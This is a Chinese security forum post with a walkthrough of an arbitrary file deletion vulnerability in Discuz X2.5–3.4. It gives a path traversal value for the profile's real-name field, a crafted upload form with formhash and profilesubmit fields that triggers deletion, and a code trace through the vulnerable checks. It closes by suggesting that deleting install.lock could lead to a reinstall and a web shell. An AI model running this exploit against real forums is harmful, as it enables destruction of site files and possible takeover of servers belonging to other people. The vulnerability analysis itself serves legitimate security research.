K8安全团队
查看: 1066|回复: 0

Discuz X2.5-3.4任意文件删除

[复制链接]
  • TA的每日心情
    开心
    2017-6-13 17:07
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2017-12-5 11:04:13 | 显示全部楼层 |阅读模式

    马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

    您需要 登录 才可以下载或查看,没有帐号?注册

    x
    0x00 漏洞利用
    注册账号,登陆后访问:
    home.php?mod=spacecp
    修改真实姓名:
    ../../../robots.txt
    查看源代码,找到formhash的value值:
    构造表单:
    [AppleScript] 纯文本查看 复制代码
    <form action="http://192.168.31.131/dz32/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data">
      <input type="file" name="realname" id="file" />
      <input type="text" name="formhash" value="af713741"/>
      <input type="text" name="profilesubmit" value="1"/>
      <input type="submit" value="Submit" />
    </form>
    上传一张图片便可删除robots.txt
    0x01 代码分析
    source/include/spacecp/spacecp_profile.php 第187-229行
    在第228行对文件$space[$key]进行了删除,溯源$space值。
    同文件第23-25行,对$space进行赋值
    跟进getuserbyuid()函数,source/function/function_core.php第76-88行:
    是获取common_member表的内容。
    跟进space_merge()函数,source/function/function_core.php第1443-1472行:
    $values为取地址,该函数把获取common_member_.$tablename表中的内容拼接到$space。
    其中common_member_profile表中存着用户个人资料,包括真实姓名,性别,生日等。所以$space是可控的,以数据库中的key作为上传表单的name,可达到删除文件的目的。
    下面看如何通过判断,执行删除语句,因为要执行删除语句,要经过层层if和判断
    第一个if,第70行:if(submitcheck('profilesubmit')) {
    跟进submitcheck()函数:
    [AppleScript] 纯文本查看 复制代码
    function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
        if(!getgpc($var)) {
            return FALSE;
        } else {
            return helper_form::submitcheck($var, $allowget, $seccodecheck, $secqaacheck);
        }
    }
    跟进helper_form::submitcheck()函数
    [AppleScript] 纯文本查看 复制代码
    public static function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
        if(!getgpc($var)) {
            return FALSE;
        } else {
            global $_G;
            if($allowget || ($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_GET['formhash']) && $_GET['formhash'] == formhash() && empty($_SERVER['HTTP_X_FLASH_VERSION']) && (empty($_SERVER['HTTP_REFERER']) ||
                strncmp($_SERVER['HTTP_REFERER'], 'http://wsq.discuz.com/', 22) === 0 || preg_replace("/https?:\/\/([^\:\/]+).*/i", "\\1", $_SERVER['HTTP_REFERER']) == preg_replace("/([^\:]+).*/", "\\1", $_SERVER['HTTP_HOST'])))) {
                if(checkperm('seccode')) {
                    if($secqaacheck && !check_secqaa($_GET['secanswer'], $_GET['secqaahash'])) {
                        showmessage('submit_secqaa_invalid');
                    }
                    if($seccodecheck && !check_seccode($_GET['seccodeverify'], $_GET['seccodehash'], 0, $_GET['seccodemodid'])) {
                        showmessage('submit_seccode_invalid');
                    }
                }
                return TRUE;
            } else {
                showmessage('submit_invalid');
            }
        }
    }
    就是需要POSTprofilesubmit参数和验证formhash,防止csrf。所以构造表单的时候需要加入这两个input:
    [AppleScript] 纯文本查看 复制代码
    <input type="text" name="formhash" value="af713741"/>
    <input type="text" name="profilesubmit" value="1"/>
    第二个if,第187行:if($_FILES) {,需要时上传文件请求。
    第三个if,第190-192行:
    [AppleScript] 纯文本查看 复制代码
    if(!isset($_G['cache']['profilesetting'][$key])) {
        continue;
    }
    先dump一下$_G变量:
    所以构造表单的时候name设为realname这个if就不用管。
    第四个if,第210行:if(!$upload->get_image_info($attach['target'])) {
    上传一张正常的图片就不会进入此if。
    第五个if,第216行:if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
    dump了一下$verifyconfig为空,不会进入此if
    第六个if,第223行:if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
    $_G['cache']['profilesetting'][$key]['needverify']均为0,不会进入此if。
    所以最终执行@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);导致任意文件删除。
    0x02 利用方法
    可以删除/data/install.lock文件,外链数据库重装,后台getshell。不过测试发现(DZ3.2),install目录下的文件安装时被删除了,即使删了install.lock也不能重装,其他版本未测试。

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    Powered by Discuz! X3.2 © 2001-2016 Comsenz Inc.

    返回顶部